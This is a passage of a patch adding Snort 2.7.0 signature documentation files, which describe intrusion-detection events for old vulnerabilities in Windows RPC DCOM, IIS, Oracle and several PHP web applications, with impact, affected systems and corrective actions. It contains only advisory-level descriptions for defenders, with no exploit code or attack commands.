+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000590.txt
+++ snort-2.7.0/doc/signatures/100000590.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000590
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "editor_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "editor_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2315.txt
+++ snort-2.7.0/doc/signatures/2315.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2315
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2295.txt
+++ snort-2.7.0/doc/signatures/2295.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2295
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1872.txt
+++ snort-2.7.0/doc/signatures/1872.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1872
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3429.txt
+++ snort-2.7.0/doc/signatures/3429.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3429
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1010.txt
+++ snort-2.7.0/doc/signatures/1010.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1010
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2059.txt
+++ snort-2.7.0/doc/signatures/2059.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2059
+
+--
+Summary:
+MsmMask.exe
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Versions of MondoSearch prior to 4.4.5156 use a vulnerable version of a 
+cgi script named msmmask.exe. This script allows the attacker to view 
+the source of any file in a webservers root directory.
+
+vulnerabilities using the security scanner nessus.
+
+--
+Affected Systems:
+MondoSearch versions prior to 4.4.5156.
+
+--
+Attack Scenarios:
+The attacker needs to access the msmmask.exe script and request a file 
+in the servers web directory.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade the application to at least version 4.4.5156 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11163
+
+--
--- snort-2.7.0.orig/doc/signatures/2252.txt
+++ snort-2.7.0/doc/signatures/2252.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid:
+2252
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerablity in Microsoft RPCSS service for RPC.
+
+--
+Impact:
+Denial of Service. Possible execution of arbitrary code leading to
+unauthorized remote administrative access.
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPCSS Service that handles RPC DCOM
+requests such that execution of arbitrary code or a Denial of Service 
+condition can be issued against a host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to the host
+running the RPCSS service may result in a buffer overflow condition that
+will present the attacker with the opportunity to execute arbitrary code
+with the privileges of the local system account. Alternatively the
+attacker could also cause the RPC service to stop answering RPC requests
+and thus cause a Denial of Service condition to occur.
+
+--
+Affected Systems:
+	Windows NT 4.0 Workstation and Server
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a DCERPC bind request followed by a malicious
+DCERPC DCOM remote activation request.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139, 445 and 593 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Disallow the use of RPC over HTTP and HTTPS.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-039.asp
+
+eEye:
+http://www.eeye.com/html/Research/Advisories/AD20030910.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2605.txt
+++ snort-2.7.0/doc/signatures/2605.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2605
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "compare_old_value" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck91.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1989.txt
+++ snort-2.7.0/doc/signatures/1989.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1989
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/986.txt
+++ snort-2.7.0/doc/signatures/986.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 986
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2466.txt
+++ snort-2.7.0/doc/signatures/2466.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2466
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000767.txt
+++ snort-2.7.0/doc/signatures/100000767.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000767
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "item" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "item" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000721.txt
+++ snort-2.7.0/doc/signatures/100000721.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000721
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "login.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "login.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3282.txt
+++ snort-2.7.0/doc/signatures/3282.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3282
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/392.txt
+++ snort-2.7.0/doc/signatures/392.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+392
+
+--
+
+Summary:
+This event is generated when an ICMP Datagram Conversion Error message is detected on the network.  ICMP Datagram Conversion Error messages were developed with the introduction of IPv6 to give information about invalid datagram conversions between IPv4 and IPv6.
+
+--
+
+Impact:
+No known attack vectors are known that use ICMP type 31 datagrams.  This is purely an informational message that detects errors on the network.
+
+--
+
+Detailed Information:
+ICMP Type 31 was developed to return information about datagram conversion errors between IPv4 and IPv6 as data is converted between them.  
+
+--
+
+Attack Scenarios:
+None known
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Datagram Conversion Error messages.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 31 datagrams should be blocked at the firewall.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000768.txt
+++ snort-2.7.0/doc/signatures/100000768.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000768
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "blog" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "blog" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1240.txt
+++ snort-2.7.0/doc/signatures/1240.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid: 1240
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Marty Bochane MDBMS relational database system.
+
+--
+Impact:
+Serious. Execution of arbitrary code on the target server is possible.
+
+--
+Detailed Information:
+MDBMS is a relational databse system for UNIX style platforms. Certain
+versions of the software contain a vulnerability that can allow
+execution of arbitrary code on the server with the privileges of the
+user running MDBMS.
+
+--
+Affected Systems:
+	MDBMS 0.99b9 and prior
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000127.txt
+++ snort-2.7.0/doc/signatures/100000127.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000127
+
+-- 
+Summary: 
+This event is generated when an attempt is made to link to an external script 
+as part of the Stadtaus.com PHP Form Mail program.
+
+-- 
+
+Impact: 
+The script being included will be run in the same security context as the 
+vulnerable program, enabling a variety of web-based attacks.
+
+--
+Detailed Information:
+The Stadtaus.com PHP Form Mail system's formmail.inc.php module, when including 
+other scripts by way of its script_root parameter, fails to validate the 
+location of these scripts, and thus allows attackers to include any malicious 
+script anywhere on the web. The included script will be executed with the same 
+permissions and in the same security context at the vulnerable program itself, 
+thus allowing a range of attacks.
+
+--
+Affected Systems:
+Stadtaus.com PHP Form Mail Script 2.3
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no vendor-supplied patches or workarounds. However, if it 
+is possible to globally disable PHP's 'allow_url_fopen' and 'register_globals' 
+directives in your environment, doing so may disable this vulnerability. 
+However, turning off these directives should be tested in a non-production 
+environment, in case doing so breaks other scripts on your system.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1044.txt
+++ snort-2.7.0/doc/signatures/1044.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+1044
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of a file on an Internet Information Server (IIS) host. 
+
+--
+Impact:
+Intelligence gathering activity.  This attack can display the contents of an Activer Server Page (ASP) file or other files located on the server. 
+
+--
+Detailed Information:
+A vulnerability exists in Windows NT 4.0 Option Pack and Windows 2000 Index Server.  The Index Server is a search engine used by IIS that allows a user's browser to search for text in HTML and other documents.   The Index Server has a Hit-Hightlighting component to highlight the text that satisifies the user's query.  A vulnerability exists in the webhits.dll file used to process the search, allowing the disclosure of file contents.  The .htw file extension is used by webhits.dll to perform hit-highlighting capabilities.
+
+--
+Affected Systems:
+Hosts running Microsoft Index Server 2.0
+
+--
+Attack Scenarios:
+An attacker can attempt to disclose the contents of a file by crafting a special URL to access the Hit-Highlighting component of the Index Server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
